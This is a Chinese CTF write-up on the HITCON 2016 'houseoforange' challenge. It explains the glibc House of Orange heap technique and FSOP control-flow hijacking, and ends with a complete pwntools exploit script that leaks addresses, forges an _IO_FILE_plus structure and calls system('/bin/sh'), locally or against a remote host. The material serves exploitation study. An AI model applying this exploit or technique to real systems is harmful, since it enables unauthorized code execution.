house of orange

修改topchunk->size为一个缩小的并且满足页对齐的大小,malloc一个大于size的块(但也不要大于mmap threshold),会导致原来topchunk被放入unsorted bin。

当topchunk不足以分配所需空间时,会调用sysmalloc分配额外空间。一般情况下,main_arena中old top chunk和新分配的top chunk首尾相邻,从而会进行合并。当我们将topchunk->size减小后,会检测不到相邻,也就不会合并了。设置好fencepost chunk,会执行_int_free (av, old_top, 1)将其放入unsorted bin。

代码涉及_int_malloc后边和sysmalloc

FSOP

`struct _IO_FILE_plus`结构
1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
`struct _IO_FILE_plus`包含`struct _IO_FILE`和`struct _IO_jump_t *`,前者保存打开文件的信息,后者保存对文件进行操作的函数指针列表的指针,可以对不同类型的文件加以不同的具体操作。
struct _IO_FILE结构
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
# endif
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

struct _IO_jump_t结构
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

FSOP是File Stream Oriented Programming的缩写,核心就是改写_IO_list_all的值,伪造struct _IO_FILE_plus结构,对控制流进行劫持。_IO_list_all是glibc中的一个全局变量,是一个struct _IO_FILE_plus的指针,默认情况下指向stderr->->stdout->stdin。标准输入、标准输出、标准错误输出都是struct _IO_FILE类型,都被包含在于struct _IO_FILE_plus结构中,使用struct _IO_FILE中的chain变量连接。

1
2
3
4
5
6
7
extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;

#define _IO_stdin ((_IO_FILE*)(&_IO_2_1_stdin_))
#define _IO_stdout ((_IO_FILE*)(&_IO_2_1_stdout_))
#define _IO_stderr ((_IO_FILE*)(&_IO_2_1_stderr_))

在堆中可以使用malloc_printerr触发劫持。下图为对malloc_printerr中一系列的函数调用关系,最终在_IO_flush_all_lockp中会对链表中每一个文件进行刷新,满足条件的情况下,调用每个文件的_IO_OVERFLOW函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int
_IO_flush_all_lockp (int do_lock)
{
...
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}
...
}
}

Hitcon2016 houseoforange

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

分析

关键数据结构

image-20200725225408295

功能

1
2
3
4
1. Build the house                  
2. See the house
3. Upgrade the house
4. Give up

Build:输入名称长度size,依次经过malloc(0x10)、malloc(size)、calloc(0x8),然后读入名称等。

See:输出名称等。

Upgrade:对名称进行修改,可以输入任意长度字符,也就是堆上任意长度的溢出。

总体思路

使用house of orange使得old top chunk进入unsorted bin。分配large size的块,泄露libc base和heap addr。

使用unsorted bin attack修改_IO_list_all,攻击后它将指向unsorted bin在main_arena中的头结点。unsorted bin attack的同时,在同一个chunk上伪造 struct _IO_FILE_plus结构。修改该chunk->size为0x61使其落入small bin(0x60)也就是unsorted bin头结点地址+0x68(相当于修改struct _IO_FILE中chain)。

house of orange

1
2
3
build(0x200 - 0x20 - 0x20 - 0x10, "A")  # 在top chunk总共分配0x200
upgrade(0x1b0+0x20+0x10, b"A"*0x1d8 + p64(0xe01)) # 覆盖topchunk->size为0xe01
build(0x1000, "A") # 分配一个大于0xe00的块,触发house of orange

leak libc and heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# leak libc base 
build(0x400, "A"*8)
io.recvuntil("Your choice : ")
io.sendline("2")
io.recvuntil("Name of house : ")
libc_addr = u64(io.recvline()[8:-1].ljust(8, b"\x00"))
pf("libc base", libc_addr)
libc_base = libc_addr - 0x3C5178
libc_base = libc_addr - 0x39C178
pf("libc base", libc_base)

# leak heap addr
upgrade(0x10, "A"*0x10)
io.recvuntil("Your choice : ")
io.sendline("2")
io.recvuntil("Name of house : ")
heap_addr = u64(io.recvline()[16:-1].ljust(8, b"\x00"))
pf("heap addr", heap_addr)

分配large size的块,泄露libc base和heap addr,因为large bin会将fd_nextsize和bk_nextsize存储在chunk中(unsorted bin中的唯一chunk被取出放在large bin中,然后切割分配。如果是small size,则会在unsorted bin 中直接切割分配)。

1
2
3
4
5
6
7
8
9
10
11
12
/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/

if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))

unsorted bin attack && FSOP

1
2
3
4
5
6
7
8
9
10
11
payload  = b"A"*0x420
payload += b"/bin/sh\x00" + p64(0x61) # start offset: 0x0--fake size
payload += b"A"*0x8 + p64(libc_base+libc.sym["_IO_list_all"]-0x10) # start offset: 0x10--unsorted bin attack
payload += p64(2) + p64(3) + b"A"*0x90 # start offset: 0x20--满足fp->_IO_write_ptr > fp->_IO_write_base
payload += p64(0) + b"A"*0x10 # start offset: 0xc0--满足fp->_mode <= 0
payload += p64(heap_addr+0x430+0xe0) # start offset: 0xd8--vtable
payload += p64(libc_base+libc.sym["system"])*4 # start offset: 0xe0--_IO_OVERFLOW=system
upgrade(len(payload), payload)

io.recvuntil("Your choice : ")
io.sendline("1")

error

概率性的出错,有时候_IO_list_all指向的第一个struct _IO_FILE_plus会满足_IO_OVERFLOW的执行条件,而我们伪造的在第二个,从而执行出错。

1
2
3
4
5
6
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)

在我调试过程中发现_IO_vtable_offset(fp) == 0这个验证不存在,下图中的条件编译应该是选择了后者。

image-20200725235629121

fp->_mode > 0中的_mode是int类型,依赖于libc地址随机。如果恰巧最高位为0,这个条件也就被满足了。

fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base正好指向bin,因为bin是空的都指向自身,而_IO_write_base位于_IO_write_ptr的低地址处,所以这个条件一定被满足。

综上,只要随机到_mode所处位置的最高位为0,就会失败。

exploit

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/env python3

from pwn import *

context(os="linux", arch="amd64", log_level="info")
localfile = "houseoforange"
locallibc = "/lib/x86_64-linux-gnu/libc.so.6" # GLIBC 2.23-0ubuntu11.2
# locallibc = "../glibc_versions/2.23/x64_notcache/lib/libc-2.23.so"

pf = lambda name,num :log.info(name + ": 0x%x" % num)

def build(length, name):
io.recvuntil("Your choice : ")
io.sendline("1")
io.recvuntil("Length of name :")
io.sendline(str(length))
io.recvuntil("Name :")
io.send(name)
io.recvuntil("Price of Orange:")
io.sendline("1")
io.recvuntil("Color of Orange:")
io.sendline("1")

def upgrade(length, name):
io.recvuntil("Your choice : ")
io.sendline("3")
io.recvuntil("Length of name :")
io.sendline(str(length))
io.recvuntil("Name:")
io.send(name)
io.recvuntil("Price of Orange: ")
io.sendline("1")
io.recvuntil("Color of Orange: ")
io.sendline("1")


def exp():
build(0x200 - 0x20 - 0x20 - 0x10, "A")
upgrade(0x1b0+0x20+0x10, b"A"*0x1d8 + p64(0xe01))
build(0x1000, "A")

# gdb.attach(io, "b genops.c:759")
# gdb.attach(io, "b *$rebase(0x13D5)")

# leak libc base
build(0x400, "A"*8)
io.recvuntil("Your choice : ")
io.sendline("2")
io.recvuntil("Name of house : ")
libc_addr = u64(io.recvline()[8:-1].ljust(8, b"\x00"))
pf("libc base", libc_addr)
libc_base = libc_addr - 0x3C5178
# libc_base = libc_addr - 0x39C178
pf("libc base", libc_base)

# leak heap addr
upgrade(0x10, "A"*0x10)
io.recvuntil("Your choice : ")
io.sendline("2")
io.recvuntil("Name of house : ")
heap_addr = u64(io.recvline()[16:-1].ljust(8, b"\x00"))
pf("heap addr", heap_addr)

# IO_FILE
payload = b"A"*0x420
payload += b"/bin/sh\x00" + p64(0x61) # start offset: 0x0
payload += b"A"*0x8 + p64(libc_base+libc.sym["_IO_list_all"]-0x10) # start offset: 0x10
payload += p64(2) + p64(3) + b"A"*0x90 # start offset: 0x20
payload += p64(0) + b"A"*0x10 # start offset: 0xc0
payload += p64(heap_addr+0x430+0xe0) # start offset: 0xd8
payload += b"A"*0x18 + p64(libc_base+libc.sym["system"]) # start offset: 0xe0
upgrade(len(payload), payload)

io.recvuntil("Your choice : ")
io.sendline("1")

io.interactive()

argc = len(sys.argv)
if argc == 1:
io = process(localfile)
else:
if argc == 2:
host, port = sys.argv[1].split(":")
elif argc == 3:
host = sys.argv[1]
port = sys.argv[2]
io = remote(host, port)

elf = ELF(localfile)
libc = ELF(locallibc)
exp()

reference

  1. how2heap house_of_orange.c
  2. https://veritas501.space/2017/12/13/IO%20FILE%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/
  3. https://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
  4. https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/introduction-zh/